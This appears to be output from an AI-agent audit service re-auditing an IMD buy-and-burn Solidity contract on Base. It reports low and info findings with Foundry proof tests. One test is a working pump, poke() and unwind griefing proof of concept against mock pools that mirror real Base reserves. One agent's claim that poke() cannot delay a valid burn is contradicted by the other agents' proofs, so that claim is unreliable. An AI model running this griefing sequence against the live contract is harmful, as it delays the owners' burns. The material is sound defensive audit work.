      • Fix that keeps the depth bound: when the remainder would fall below $5, spend balance - THRESHOLD, so exactly $5 is left for the next window.
      • The proof is a self-contained mock test (no fork), included in the file. It fails on the current code.
    3. Info: one burn can spend more than MAX_PER_BURN, src/IMDBuyAndBurn.sol:27. The remainder rule lets a single burn spend up to $1,004.999999. That stays within the depth bound, but it contradicts the NatSpec, the constant's comment and the README ("up to $1,000 per call"). The existing test test_DustRemainderIsSpent shows this.

    Checked, nothing reported

    • Fix 1 (marginal price vs TWAP): the math is correct, including wrap-around and the cumulative price brought up to the current block. Moving the price earlier in the same block doesn't change the TWAP. I found no overflow or harmful rounding at these sizes, either in the spot and TWAP quotes or in the depth cap.
    • 3% sandwich: I tried it on the fork and it isn't profitable. Fren Pet's own fee on selling makes unwinding the IMD side fail. On the USDC/WETH side, pool fees (about $40) are larger than the most a $1,000 burn can lose (about $30). So the README's trust claim holds.
    • Fix 2 (depth cap): it is correct and the remainder rule never goes past it. Changing the reserves can only shrink a burn, never push it past $1,000.
    • How funds can leave: USDC only goes to the USDC/WETH pair and IMD only to 0x…dEaD. The swaps have no callbacks, and the contract rejects ETH.
    • Fix 5: the trust assumptions are documented as stated.
    ran onclaude · claude-opus-5-5 · 13 turns · 4m 18s · 24 in · 20.3K out · 568.1K cached
    submission3a529f6566ac1220215cd846e68b088524010df0eb96f695a1beb2043b01b55e
    devicebc1e515ca5c78ac4464bc081a0c98eeab32c5b324cceb6b72b670b40ef2e5b5d
    started from2042849a80a37a37ac0d58292d1830a5dea9b67d
    bundlenone
    • lowpoke() BurnAvailable guard can be bypassed by an atomic price push: a valid burn is delayed by a fresh 30-minute windowsrc/IMDBuyAndBurn.sol:129

      Fix (3) checks whether a burn would pass the price check at the reserves of the moment, and those reserves can be changed earlier in the same transaction.

      Once the last observation is older than STALE_AFTER and a burn would pass, a caller can buy WETH on USDC_WETH (a pair with no FP buy or sell fee) so that spotOut falls below 97% of twapOut, call poke(), then sell the WETH back in the same transaction. poke() then sets obsTime = now, so buyAndBurn() reverts WindowTooShort until MIN_WINDOW has passed. The NatSpec and README say poke() 'cannot delay' a valid burn, and this breaks that.

      The harm is bounded: each poke delays a burn by at most 30 minutes, the next poke needs another 6 hours of staleness, and each push costs roughly 0.6% of the swap in pair fees. No funds are lost. The same delay also comes free while the balance is below THRESHOLD, for example by poking just before a payout arrives.

      That path is by design.

      Fix: in poke(), test a push-resistant condition (for example require spot to be off the TWAP in the previous block too, or allow poke only when the TWAP since obsTime is itself off a recent sub-window), or accept the bound and correct the NatSpec and README.

      Base fork at block 52644982, USDC_WETH holding 438,092 USDC and 179.7 WETH.

      Deploy, deal 1000e6 USDC to the burner, warp 6h+1s. preview() then shows spotOut >= 97% of twapOut, so a burn is available.

      In one transaction: swap 15,000e6 USDC for WETH on 0x88A4...bB9C, call burner.poke(), swap the WETH back.

      Expected: poke() reverts BurnAvailable.

      Actual: poke() succeeds, obsTime == block.timestamp, and buyAndBurn() reverts WindowTooShort(0).

      The push cost the caller 86.9 USDC; a smaller push of ~1.6% of the reserve, just enough to move past 3%, costs about half that.

    • lowFix (4) incomplete: when the depth cap binds, a remainder below THRESHOLD is strandedsrc/IMDBuyAndBurn.sol:173

      The remainder rule only applies when balance <= depth, which means only when MAX_PER_BURN is the binding cap. In the thin-pool case that fix (2) targets, depth < MAX_PER_BURN. If the balance is depth + r with 0 < r < THRESHOLD, the burn spends exactly depth and leaves r.

      The next buyAndBurn() then reverts BelowThreshold(r), and the USDC stays idle until more USDC arrives. The amount is small (< $5 per occurrence), but it is the case finding 6 was meant to close. Fix, keeping the depth bound: when the cap binds and balance - cap < THRESHOLD, spend balance - THRESHOLD instead (if that is > 0), so exactly THRESHOLD is left and can be burned in the next window.

      Use the mock pools from test/ThinPoolLock.t.sol (USDC_WETH 436,000 USDC / 180 WETH, WETH_IMD 16.5 WETH / 6,600 IMD).

      The depth cap is 199.833333 USDC.

      Give the burner a balance of depth + 4e6 = 203.833333 USDC, warp 31 min, call buyAndBurn().

      Expected: the 4 USDC remainder is spent, or a remainder >= THRESHOLD is left.

      Actual: 199.833333 is spent, 4.000000 USDC is left, and after another 31 min buyAndBurn() reverts BelowThreshold(4000000).

      The existing test_ThinPoolDrainsOverSeveralBurns only asserts 'all but dust burned', which allows this case.

      proof · a Foundry test the fix has to pass
      // SPDX-License-Identifier: MIT
      pragma solidity 0.8.26;
      
      // The swarm audit's proof for its medium finding (IMD job de9e10c6, finding 1), with preview() updated to the new
      // return values. It failed on commit 4e49d40: a flat but thin WETH/IMD pair made every $1,000 burn revert.
      
      import {Test} from "forge-std/Test.sol";
      import {IMDBuyAndBurn} from "src/IMDBuyAndBurn.sol";
      
      contract MockToken {
          mapping(address => uint256) public balanceOf;
          function mint(address to, uint256 a) external { balanceOf[to] += a; }
          function transfer(address to, uint256 a) external returns (bool) {
              balanceOf[msg.sender] -= a;
              balanceOf[to] += a;
              return true;
          }
      }
      
      /// Minimal Uniswap v2 pair: same reserves, cumulative-price and fee/K rules as UniswapV2Pair
      contract MockPair {
          address public token0;
          address public token1;
          uint112 r0;
          uint112 r1;
          uint32 last;
          uint256 public price0CumulativeLast;
          uint256 public price1CumulativeLast;
      
          function init(address t0, address t1) external {
              token0 = t0;
              token1 = t1;
              _update();
          }
          function getReserves() external view returns (uint112, uint112, uint32) { return (r0, r1, last); }
          function _update() internal {
              uint32 now32 = uint32(block.timestamp);
              unchecked {
                  uint32 dt = now32 - last;
                  if (dt > 0 && r0 != 0 && r1 != 0) {
                      price0CumulativeLast += ((uint256(r1) << 112) / r0) * dt;
                      price1CumulativeLast += ((uint256(r0) << 112) / r1) * dt;
                  }
              }
              r0 = uint112(MockToken(token0).balanceOf(address(this)));
              r1 = uint112(MockToken(token1).balanceOf(address(this)));
              last = now32;
          }
          function swap(uint256 out0, uint256 out1, address to, bytes calldata) external {
              (uint256 o0, uint256 o1) = (r0, r1);
              if (out0 > 0) MockToken(token0).transfer(to, out0);
              if (out1 > 0) MockToken(token1).transfer(to, out1);
              uint256 b0 = MockToken(token0).balanceOf(address(this));
              uint256 b1 = MockToken(token1).balanceOf(address(this));
              uint256 in0 = b0 > o0 - out0 ? b0 - (o0 - out0) : 0;
              uint256 in1 = b1 > o1 - out1 ? b1 - (o1 - out1) : 0;
              require(in0 > 0 || in1 > 0, "INSUFFICIENT_INPUT");
              require((b0 * 1000 - in0 * 3) * (b1 * 1000 - in1 * 3) >= o0 * o1 * 1e6, "K");
              _update();
          }
      }
      
      contract DustTest is Test {
          address constant USDC = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
          address constant WETH = 0x4200000000000000000000000000000000000006;
          address constant IMD = 0xFF0C532FDB8Cd566Ae169C1CB157ff2Bdc83E105;
          address constant PAIR_A = 0x88A43bbDF9D098eEC7bCEda4e2494615dfD9bB9C; // USDC/WETH
          address constant PAIR_B = 0xDE66c35e01ED8e619Bf092352338ef94f2327337; // WETH/IMD
          address constant DEAD = 0x000000000000000000000000000000000000dEaD;
      
          IMDBuyAndBurn burner;
      
          function setUp() public {
              vm.warp(1_760_000_000);
              address tok = address(new MockToken());
              vm.etch(USDC, tok.code);
              vm.etch(WETH, tok.code);
              vm.etch(IMD, tok.code);
              address pair = address(new MockPair());
              vm.etch(PAIR_A, pair.code);
              vm.etch(PAIR_B, pair.code);
              // Same token order as on Base: WETH is token0 of both pairs
              MockToken(WETH).mint(PAIR_A, 180e18);
              MockToken(USDC).mint(PAIR_A, 436_000e6);
              MockPair(PAIR_A).init(WETH, USDC);
              MockToken(WETH).mint(PAIR_B, 16.5e18);
              MockToken(IMD).mint(PAIR_B, 6_600e18);
              MockPair(PAIR_B).init(WETH, IMD);
              burner = new IMDBuyAndBurn();
          }
          /// Remainder below THRESHOLD after a depth-capped burn is stranded
          function test_DepthCappedBurnStrandsDust() public {
              vm.warp(block.timestamp + 31 minutes);
              (uint256 depthIn,,,,) = burner.preview(); // 0 balance -> usdcIn 0; compute with a big balance instead
              MockToken(USDC).mint(address(burner), 10_000e6);
              (depthIn,,,,) = burner.preview();
              emit log_named_decimal_uint("depth cap", depthIn, 6);
              // set the balance to depth + $4
              MockToken(USDC).transfer(address(0xbeef), 0); // no-op
              vm.prank(address(burner));
              MockToken(USDC).transfer(address(0xbeef), 10_000e6 - depthIn - 4e6);
              assertEq(MockToken(USDC).balanceOf(address(burner)), depthIn + 4e6);
              burner.buyAndBurn();
              uint256 left = MockToken(USDC).balanceOf(address(burner));
              emit log_named_decimal_uint("left", left, 6);
              vm.warp(block.timestamp + 31 minutes);
              vm.expectRevert(abi.encodeWithSelector(IMDBuyAndBurn.BelowThreshold.selector, left));
              burner.buyAndBurn();
              assertEq(left, 0, "remainder below THRESHOLD should be spent or left at >= THRESHOLD");
          }
      }
    • infoRemainder rule spends more than MAX_PER_BURN, contradicting the NatSpec boundsrc/IMDBuyAndBurn.sol:27

      Line 173 sets usdcIn = balance whenever balance <= depth and the remainder is below THRESHOLD. Since depth is not capped by MAX_PER_BURN, one burn can spend up to MAX_PER_BURN + THRESHOLD - 1 = 1,004.999999 USDC. That is still within the depth bound, so the impact claim holds.

      But the NatSpec ('at most MAX_PER_BURN'), the constant's comment and the README ('spends up to $1,000 per call') are wrong. The _mulQ112 comment 'amounts are capped by MAX_PER_BURN' is also slightly off, though it cannot overflow at these sizes.

      Fix: document the bound as MAX_PER_BURN + THRESHOLD, or apply the dust rule only when balance <= MAX_PER_BURN + THRESHOLD - 1 and depth allows it (the current behaviour), and state it.

      Base fork: deal 1,004e6 USDC to the burner, warp 31 min, call buyAndBurn(). The Burned event reports usdcIn = 1,004,000,000 > MAX_PER_BURN = 1,000,000,000. test_DustRemainderIsSpent shows the same thing and passes.

  3. Audit flowAgent #92found 2 low

    I found two low-severity issues in src/IMDBuyAndBurn.sol. Neither loses funds, and there is nothing critical, high or medium. Both are in .imd-findings.json, each with its own Foundry test. Both tests fail on the code as it is now, and both pass on a patched copy kept outside the repository. No tracked files were changed.

    The existing tests pass against a Base fork (16 of 16). I also read the live state on Base: the USDC/WETH pair holds about 438k USDC and 179.7 WETH, and the WETH/Fren Pet pair holds about 165.6 WETH and 66k FP.

    Findings

    1. Low: poke() can still delay a burn that would succeed (src/IMDBuyAndBurn.sol:129). Fix (3) only blocks poke() when a burn would pass at the reserves of that exact moment, and those can be moved inside one transaction. Once the last observation is more than 6 hours old, anyone can do this in one transaction:

      • buy about 7,000 USDC of WETH so the price is more than 3% off, which makes poke() pass;
      • call poke();
      • sell the WETH back.

      The pools end where they started, but the burn now reverts WindowTooShort(0) for 30 minutes. That costs the attacker about $41 per 30-minute delay, at most once per 6 hours. Suggested fix: while the balance is at least THRESHOLD, have poke() revert if either pair traded in the current block. With that fix, the existing test test_PokeRestartsTheWindowAfterAPriceMove would need to advance one block between the pump and the poke().

    2. Low: dust is stranded when the depth cap is what limits the burn (src/IMDBuyAndBurn.sol:173). Fix (4) only spends the remainder when the $1,000 cap was the limit. In a thin pool (the setup in test/ThinPoolLock.t.sol), a balance of the depth cap plus 3 USDC burns the cap and leaves 3 USDC. Every later burn then reverts BelowThreshold(3000000) until more USDC arrives, and with no more payouts up to $4.999999 stays locked. Suggested fix: when the depth cap applies, spend balance - THRESHOLD so exactly $5 is left for the next burn.

    What else I checked

    • Marginal price check: the TWAP math, wrap-around and the cumulative price brought up to the current block all match Uniswap's oracle library. Same-block trades can't move the observation. The rounding in both quotes is negligible, and nothing overflows at realistic prices.
    • Depth cap: the rounding is fine. Adding liquidity only makes a burn larger with less price impact.
    • Remainder rule: it never goes over the depth bound. It can go over MAX_PER_BURN by up to $4.999999, which the tests treat as intended.
    • Sandwich economics: at current reserves, moving the USDC/WETH pair 3% costs about $39, more than the roughly $30 to be had from a $1,000 burn. The Fren Pet pair also charges 4% on each buy and sell. So the README's claim holds today, but it breaks even if the USDC/WETH pair falls below about $333k of USDC.
    • Exits: USDC and IMD can leave only through buyAndBurn() and burnHeld(). There are no callbacks, the addresses are constants, and the contract rejects ETH.
    • Trust assumptions (fix 5): the Fren Pet owner can't push the buy or sell fee above 5% (both setters revert above that). Its size limits are far above a burn's size. I also checked one more owner power, marking 0x…dEaD as a trading pair and turning on Fren Pet's automatic swap, on the fork: burns still worked, so I didn't report it.

    I couldn't run Slither or a long fuzzing campaign here.

    The .bashrc, .claude and other dotfiles that now show as untracked in the repository are placeholders the sandbox created. I didn't create them and left them alone.

    ran onclaude · claude-opus-5-5 · 20 turns · 8m 28s · 32 in · 45.7K out · 1.1M cached
    submissionf0e8adee8bd5942f6d990d1e16274df921a3a7f4d3ade22bf69ff794a3ea3ec9
    device1c29c7c6e4cf57eb4c72b96b17a6fb292f15fbb1012bc7c728803edb294547d7
    started from2042849a80a37a37ac0d58292d1830a5dea9b67d
    bundlenone
    • lowpoke() can still delay a burn that would succeed: atomic pump -> poke() -> unwind resets the window (fix 3 incomplete)src/IMDBuyAndBurn.sol:129

      Fix (3) makes poke() revert with BurnAvailable only if the price check passes at the reserves of this exact moment. The spot term (q.spotOut) uses current reserves, so it can be moved within one transaction, while the TWAP and the new observation do not register a same-block move (the counterfactual cumulative and the pair's own _update use the pre-trade reserves for the elapsed time).

      Once the last observation is older than STALE_AFTER (6 h, which is normal after any idle period between payouts), anyone holding USDC at least THRESHOLD can do this in one transaction: move either pair more than 3% so that spotOut < 0.97*twapOut, call poke() (which now passes the BurnAvailable guard and runs _observe()), and trade back.

      The pools end where they started and a burn that was valid before and after the transaction now reverts WindowTooShort for MIN_WINDOW (30 min). The README's claim that poke() 'cannot delay a valid burn' does not hold.

      Impact is limited: about 30 minutes of delay per 6 hours of staleness, at roughly $41 in round-trip v2 fees on pair A at current Base reserves. No funds are lost.

      Fix: do not let poke() act on a deviation created in the current block. For example, while balance >= THRESHOLD, revert BurnAvailable if either pair's blockTimestampLast == block.timestamp, so a price move has to survive a block boundary and arbitrage first. Alternatively, measure the poke deviation with a short cumulative-based recent price instead of the spot reserves.

      With the first fix, test_PokeRestartsTheWindowAfterAPriceMove has to advance one block between _pumpImd and poke().

      Mock pools at Base reserves (pair A 179.7 WETH / 438,092 USDC, pair B 165.6 WETH / 66,004 FP), burner holds 100 USDC, warp 6h+1s since the last observation. poke() reverts BurnAvailable, so a burn would succeed.

      In one transaction the attacker swaps 7,000 USDC -> WETH on pair A (WETH about 3.2% dearer), calls poke(), which succeeds, then swaps the WETH back (net cost 41.28 USDC).

      The reserves are back to the original ones.

      Expected: buyAndBurn() succeeds, as it would have before the transaction.

      Actual: it reverts WindowTooShort(0), so the burn is delayed 30 minutes.

      Run: forge test --match-path test/scratch/PokeGrief.t.sol (fails now with WindowTooShort(0), passes with the blockTimestampLast guard in poke()).

      proof · a Foundry test the fix has to pass
      // SPDX-License-Identifier: MIT
      pragma solidity 0.8.26;
      
      import {Test} from "forge-std/Test.sol";
      import {IMDBuyAndBurn} from "src/IMDBuyAndBurn.sol";
      
      contract MockToken {
          mapping(address => uint256) public balanceOf;
          function mint(address to, uint256 a) external { balanceOf[to] += a; }
          function transfer(address to, uint256 a) external returns (bool) {
              balanceOf[msg.sender] -= a;
              balanceOf[to] += a;
              return true;
          }
      }
      
      /// Minimal Uniswap v2 pair: same reserves, cumulative-price and fee/K rules as UniswapV2Pair
      contract MockPair {
          address public token0;
          address public token1;
          uint112 r0;
          uint112 r1;
          uint32 last;
          uint256 public price0CumulativeLast;
          uint256 public price1CumulativeLast;
      
          function init(address t0, address t1) external {
              token0 = t0;
              token1 = t1;
              _update();
          }
          function getReserves() external view returns (uint112, uint112, uint32) { return (r0, r1, last); }
          function _update() internal {
              uint32 now32 = uint32(block.timestamp);
              unchecked {
                  uint32 dt = now32 - last;
                  if (dt > 0 && r0 != 0 && r1 != 0) {
                      price0CumulativeLast += ((uint256(r1) << 112) / r0) * dt;
                      price1CumulativeLast += ((uint256(r0) << 112) / r1) * dt;
                  }
              }
              r0 = uint112(MockToken(token0).balanceOf(address(this)));
              r1 = uint112(MockToken(token1).balanceOf(address(this)));
              last = now32;
          }
          function swap(uint256 out0, uint256 out1, address to, bytes calldata) external {
              (uint256 o0, uint256 o1) = (r0, r1);
              if (out0 > 0) MockToken(token0).transfer(to, out0);
              if (out1 > 0) MockToken(token1).transfer(to, out1);
              uint256 b0 = MockToken(token0).balanceOf(address(this));
              uint256 b1 = MockToken(token1).balanceOf(address(this));
              uint256 in0 = b0 > o0 - out0 ? b0 - (o0 - out0) : 0;
              uint256 in1 = b1 > o1 - out1 ? b1 - (o1 - out1) : 0;
              require(in0 > 0 || in1 > 0, "INSUFFICIENT_INPUT");
              require((b0 * 1000 - in0 * 3) * (b1 * 1000 - in1 * 3) >= o0 * o1 * 1e6, "K");
              _update();
          }
      }
      
      contract PokeGriefTest is Test {
          address constant USDC = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
          address constant WETH = 0x4200000000000000000000000000000000000006;
          address constant IMD = 0xFF0C532FDB8Cd566Ae169C1CB157ff2Bdc83E105;
          address constant PAIR_A = 0x88A43bbDF9D098eEC7bCEda4e2494615dfD9bB9C; // USDC/WETH, WETH is token0
          address constant PAIR_B = 0xDE66c35e01ED8e619Bf092352338ef94f2327337; // WETH/IMD, WETH is token0
      
          IMDBuyAndBurn burner;
      
          function _deploy(uint256 wethB, uint256 imdB) internal {
              vm.warp(1_760_000_000);
              address tok = address(new MockToken());
              vm.etch(USDC, tok.code);
              vm.etch(WETH, tok.code);
              vm.etch(IMD, tok.code);
              address pair = address(new MockPair());
              vm.etch(PAIR_A, pair.code);
              vm.etch(PAIR_B, pair.code);
              // Pair A at its Base reserves (block 52644997): 179.7 WETH / 438,092 USDC
              MockToken(WETH).mint(PAIR_A, 179.7e18);
              MockToken(USDC).mint(PAIR_A, 438_092e6);
              MockPair(PAIR_A).init(WETH, USDC);
              MockToken(WETH).mint(PAIR_B, wethB);
              MockToken(IMD).mint(PAIR_B, imdB);
              MockPair(PAIR_B).init(WETH, IMD);
              burner = new IMDBuyAndBurn();
          }
      
          function _out(uint256 amountIn, uint256 rIn, uint256 rOut) internal pure returns (uint256) {
              uint256 inWithFee = amountIn * 997;
              return (inWithFee * rOut) / (rIn * 1000 + inWithFee);
          }
      
          /// poke() delays a burn that succeeds both before and after the caller's transaction
          function test_PumpPokeUnwindDelaysAValidBurn() public {
              _deploy(165.6e18, 66_004e18); // pair B at its Base reserves
              MockToken(USDC).mint(address(burner), 100e6);
              vm.warp(block.timestamp + 6 hours + 1);
              vm.expectRevert(IMDBuyAndBurn.BurnAvailable.selector);
              burner.poke(); // a burn would succeed now
      
              // One transaction (flash-swap sized): buy WETH from pair A to make it ~3.2% dearer, poke(), sell the WETH back
              address attacker = makeAddr("attacker");
              uint256 usdcIn = 7_000e6;
              MockToken(USDC).mint(attacker, usdcIn);
              vm.startPrank(attacker);
              (uint112 w, uint112 u,) = MockPair(PAIR_A).getReserves();
              uint256 wethOut = _out(usdcIn, u, w);
              MockToken(USDC).transfer(PAIR_A, usdcIn);
              MockPair(PAIR_A).swap(wethOut, 0, attacker, "");
              (bool poked,) = address(burner).call(abi.encodeCall(IMDBuyAndBurn.poke, ()));
              (w, u,) = MockPair(PAIR_A).getReserves();
              uint256 usdcBack = _out(wethOut, w, u);
              MockToken(WETH).transfer(PAIR_A, wethOut);
              MockPair(PAIR_A).swap(0, usdcBack, attacker, "");
              vm.stopPrank();
              emit log_named_decimal_uint("attacker cost (USDC)", usdcIn - usdcBack, 6);
              emit log_named_string("poke inside the bundle", poked ? "succeeded" : "reverted");
      
              // The pools are back where they were, so the burn that was available must still run
              burner.buyAndBurn();
          }
      
      }
    • lowRemainder below THRESHOLD is stranded when the depth cap binds (fix 4 only covers the MAX_PER_BURN case)src/IMDBuyAndBurn.sol:173

      The remainder rule spends the leftover only when balance <= depth, which means only when MAX_PER_BURN was the binding cap. When the depth cap binds (the thin-pool case that fix 2 introduced), a balance of depth + r with 0 < r < THRESHOLD is cut to usdcIn = depth. The burn leaves r behind, and every later buyAndBurn() reverts BelowThreshold(r) until new USDC arrives.

      With no further payouts, up to $4.999999 is locked for good, since there is no withdraw. The rule cannot spend the whole balance without breaking the depth bound. It can instead size this burn so the leftover is exactly THRESHOLD: if balance - usdcIn < THRESHOLD and balance > depth, set usdcIn = balance - THRESHOLD (when that is still positive).

      The depth bound stays intact and the next burn spends the last THRESHOLD. The remainder rule never exceeds the depth bound; it can exceed MAX_PER_BURN by up to THRESHOLD - 1, which test_DustRemainderIsSpent treats as intended.

      Mock pools: pair A 179.7 WETH / 438,092 USDC, thin pair B 16.5 WETH / 6,600 FP (as in test/ThinPoolLock.t.sol), so the depth cap is about $200 and binds.

      Set the burner's balance to depth cap + 3 USDC, warp 31 min, call buyAndBurn(): it spends the depth cap and leaves 3,000,000 (3 USDC).

      The next buyAndBurn() after another 31 min reverts BelowThreshold(3000000).

      Expected (fix 4): the remainder is burned.

      Actual: 3 USDC stays in the contract.

      Run: forge test --match-path test/scratch/DepthDust.t.sol (fails with 3000000 != 0, passes with the balance - THRESHOLD sizing).

      proof · a Foundry test the fix has to pass
      // SPDX-License-Identifier: MIT
      pragma solidity 0.8.26;
      
      import {Test} from "forge-std/Test.sol";
      import {IMDBuyAndBurn} from "src/IMDBuyAndBurn.sol";
      
      contract MockToken {
          mapping(address => uint256) public balanceOf;
          function mint(address to, uint256 a) external { balanceOf[to] += a; }
          function transfer(address to, uint256 a) external returns (bool) {
              balanceOf[msg.sender] -= a;
              balanceOf[to] += a;
              return true;
          }
      }
      
      /// Minimal Uniswap v2 pair: same reserves, cumulative-price and fee/K rules as UniswapV2Pair
      contract MockPair {
          address public token0;
          address public token1;
          uint112 r0;
          uint112 r1;
          uint32 last;
          uint256 public price0CumulativeLast;
          uint256 public price1CumulativeLast;
      
          function init(address t0, address t1) external {
              token0 = t0;
              token1 = t1;
              _update();
          }
          function getReserves() external view returns (uint112, uint112, uint32) { return (r0, r1, last); }
          function _update() internal {
              uint32 now32 = uint32(block.timestamp);
              unchecked {
                  uint32 dt = now32 - last;
                  if (dt > 0 && r0 != 0 && r1 != 0) {
                      price0CumulativeLast += ((uint256(r1) << 112) / r0) * dt;
                      price1CumulativeLast += ((uint256(r0) << 112) / r1) * dt;
                  }
              }
              r0 = uint112(MockToken(token0).balanceOf(address(this)));
              r1 = uint112(MockToken(token1).balanceOf(address(this)));
              last = now32;
          }
          function swap(uint256 out0, uint256 out1, address to, bytes calldata) external {
              (uint256 o0, uint256 o1) = (r0, r1);
              if (out0 > 0) MockToken(token0).transfer(to, out0);
              if (out1 > 0) MockToken(token1).transfer(to, out1);
              uint256 b0 = MockToken(token0).balanceOf(address(this));
              uint256 b1 = MockToken(token1).balanceOf(address(this));
              uint256 in0 = b0 > o0 - out0 ? b0 - (o0 - out0) : 0;
              uint256 in1 = b1 > o1 - out1 ? b1 - (o1 - out1) : 0;
              require(in0 > 0 || in1 > 0, "INSUFFICIENT_INPUT");
              require((b0 * 1000 - in0 * 3) * (b1 * 1000 - in1 * 3) >= o0 * o1 * 1e6, "K");
              _update();
          }
      }
      
      contract DepthDustTest is Test {
          address constant USDC = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
          address constant WETH = 0x4200000000000000000000000000000000000006;
          address constant IMD = 0xFF0C532FDB8Cd566Ae169C1CB157ff2Bdc83E105;
          address constant PAIR_A = 0x88A43bbDF9D098eEC7bCEda4e2494615dfD9bB9C; // USDC/WETH, WETH is token0
          address constant PAIR_B = 0xDE66c35e01ED8e619Bf092352338ef94f2327337; // WETH/IMD, WETH is token0
      
          IMDBuyAndBurn burner;
      
          function _deploy(uint256 wethB, uint256 imdB) internal {
              vm.warp(1_760_000_000);
              address tok = address(new MockToken());
              vm.etch(USDC, tok.code);
              vm.etch(WETH, tok.code);
              vm.etch(IMD, tok.code);
              address pair = address(new MockPair());
              vm.etch(PAIR_A, pair.code);
              vm.etch(PAIR_B, pair.code);
              // Pair A at its Base reserves (block 52644997): 179.7 WETH / 438,092 USDC
              MockToken(WETH).mint(PAIR_A, 179.7e18);
              MockToken(USDC).mint(PAIR_A, 438_092e6);
              MockPair(PAIR_A).init(WETH, USDC);
              MockToken(WETH).mint(PAIR_B, wethB);
              MockToken(IMD).mint(PAIR_B, imdB);
              MockPair(PAIR_B).init(WETH, IMD);
              burner = new IMDBuyAndBurn();
          }
      
          function _out(uint256 amountIn, uint256 rIn, uint256 rOut) internal pure returns (uint256) {
              uint256 inWithFee = amountIn * 997;
              return (inWithFee * rOut) / (rIn * 1000 + inWithFee);
          }
      
          /// A remainder below THRESHOLD is stranded when the depth cap binds
          function test_DepthBoundBurnStrandsDust() public {
              _deploy(16.5e18, 6_600e18); // thin pair B, as in test/ThinPoolLock.t.sol: depth ~$200
              MockToken(USDC).mint(address(burner), 1_000_000e6);
              (uint256 cap,,,,) = burner.preview();
              // Leave the contract with exactly the depth cap plus $3
              vm.prank(address(burner));
              MockToken(USDC).transfer(address(1), 1_000_000e6 - cap - 3e6);
              emit log_named_decimal_uint("depth cap", cap, 6);
              emit log_named_decimal_uint("balance", MockToken(USDC).balanceOf(address(burner)), 6);
              for (uint256 i = 0; i < 5 && MockToken(USDC).balanceOf(address(burner)) >= 5e6; i++) {
                  vm.warp(block.timestamp + 31 minutes);
                  burner.buyAndBurn();
              }
              emit log_named_decimal_uint("left in the contract", MockToken(USDC).balanceOf(address(burner)), 6);
              assertEq(MockToken(USDC).balanceOf(address(burner)), 0, "remainder below THRESHOLD stranded");
          }
      }
  4. Audit mathAgent #1905found 1 low, 2 info

    The re-audit is complete and .imd-findings.json holds three substantiated findings. No high or critical defect was found.

    Scope covered: all of src/IMDBuyAndBurn.sol, the README, both test files, and the five fixes from job de9e10c6, checked against the Math Precision, Boundary and Numerical Gap guides. Verification ran on a live Base fork at block 52644927 plus mock-pair fuzzing.

    The five fixes are correct

    • Marginal-price TWAP check (line 99): the direction is right, spot and TWAP both floor at the same points, and no intermediate can overflow with the real reserve ranges. The cumulative-price wrap-around was tested explicitly and the TWAP stays exact across it.
    • Depth cap: a 2000-run fuzz over arbitrary reserves and balances confirmed that USDC spent never exceeds 0.5% of the USDC reserve and that the WETH reaching pair B never exceeds 0.5% of its WETH reserve, even with floor rounding in depthB.
    • poke() parity: its condition is the exact complement of the burn's price check in the same block, so it cannot delay a burn that would succeed.
    • Remainder rule: never exceeds the depth bound. It exceeds MAX_PER_BURN by under $5, as intended.
    • Trust assumptions: Fren Pet's blacklist guard protects a different pair (0x29b3…) from the one this contract uses, so the documented ability to blacklist pair B is real. The 5% fee cap, the hard-coded limit exemption for transfers to 0xdEaD, and the permanently cleared migration flag all match the README.

    Findings

    1. Low, line 173: a remainder below $5 left by a depth-capped burn is stranded until the next payout, because the rule only fires when the whole balance fits under the depth bound. Concrete states: the thin mock pool with a $204 balance leaves $4.17, and depth $1003 with balance $1004 leaves $4. A fix that lets a leftover be burnable below the threshold is proposed.
    2. Info, README line 29: the README says a burn spends up to $1,000 and loses at most about 3%. Actual values are up to $1,004.999999 and about 3.9% at the tolerance edge at $1,000, up to about 4.6% at the full depth bound, since fees and impact stack on the 3% marginal tolerance. The NatSpec states this correctly.
    3. Info, README line 28: Circle can also pause or upgrade USDC, with the same effect as the blacklist the README names.

    Not reported as defects: the product-of-averages TWAP seam (under 0.3% error for realistic anti-correlated moves), one-sided check lockout during sustained uptrends (design, needs over 1%/hour), and TWAP or poke griefing (uneconomic on these pools, and Base has no public mempool). Scratch tests were removed since no finding needed a proof.

    ran onclaude · claude-fable-5-1 · 25 turns · 13m 4s · 450 in · 53.3K out · 1.2M cached
    submissionccd265a1bb4cf44b913696b282ef5a984abb0735a09e0292f438ab2a797c2014
    deviceb57ae3a96321a0e10b6aa2c74923b5a320d7e72ef891178c76560c525d699da3
    started from2042849a80a37a37ac0d58292d1830a5dea9b67d
    bundlenone
    • lowA sub-THRESHOLD remainder left by a depth-capped burn is stranded until the next payoutsrc/IMDBuyAndBurn.sol:173

      The remainder rule only fires when the whole balance fits under the depth bound (balance <= depth). Whenever the depth cap (not MAX_PER_BURN) is what limits the burn, the burn spends exactly depth and whatever is left below THRESHOLD can never be spent: the next buyAndBurn() reverts with BelowThreshold at line 96 until a new payout lifts the balance over $5 again.

      The same happens when depth lies between MAX_PER_BURN and the balance (depth 1003 USDC, balance 1004 USDC): the burn spends 1000, the rule does not fire because 1004 > 1003, and $4 is stranded even though spending it would have been within the depth bound.

      This is the residual of the original dust finding (de9e10c6 finding 6) for the thin-pool case that fix (2) introduced; it is not a loss, the USDC waits in the contract, but a thin pool is exactly the case in which payouts may be sparse.

      Minimal fix: let a leftover of a capped burn be burnable below THRESHOLD, e.g. record remainder = balance - q.usdcIn in buyAndBurn() and in _quote()/buyAndBurn() accept balance >= THRESHOLD || (remainder != 0 && balance <= remainder) (or simply replace the THRESHOLD revert with balance == 0 since the caller pays the gas), keeping the depth bound as is.

      Mock pairs with the token order of Base (test/ThinPoolLock.t.sol setUp: USDC/WETH 436,000 USDC / 180 WETH; WETH/IMD 16.5 WETH / 6,600 IMD). depthB = (16.5e18*50/10000)*436000e6/180e18 = 199,833,333 (199.83 USDC).

      Fund the contract with 204e6, warp 31 minutes, call buyAndBurn(): usdcIn = 199,833,333, the contract keeps 4,166,667 USDC.

      Warp another 31 minutes and call buyAndBurn(): expected the $4.17 to be burnable (the audit fix says a remainder below THRESHOLD is spent), actual revert BelowThreshold(4166667); it stays until the balance is topped up over 5e6.

      Second state: pair A 200,600 USDC / 100 WETH, pair B 1,000 WETH / 400,000 IMD (depthA = 1,003e6, depthB larger), balance 1,004e6: buyAndBurn() spends 1,000e6 and strands 4e6 (balance 1004e6 > depth 1003e6 so the rule does not fire), then BelowThreshold(4000000) on the next call.

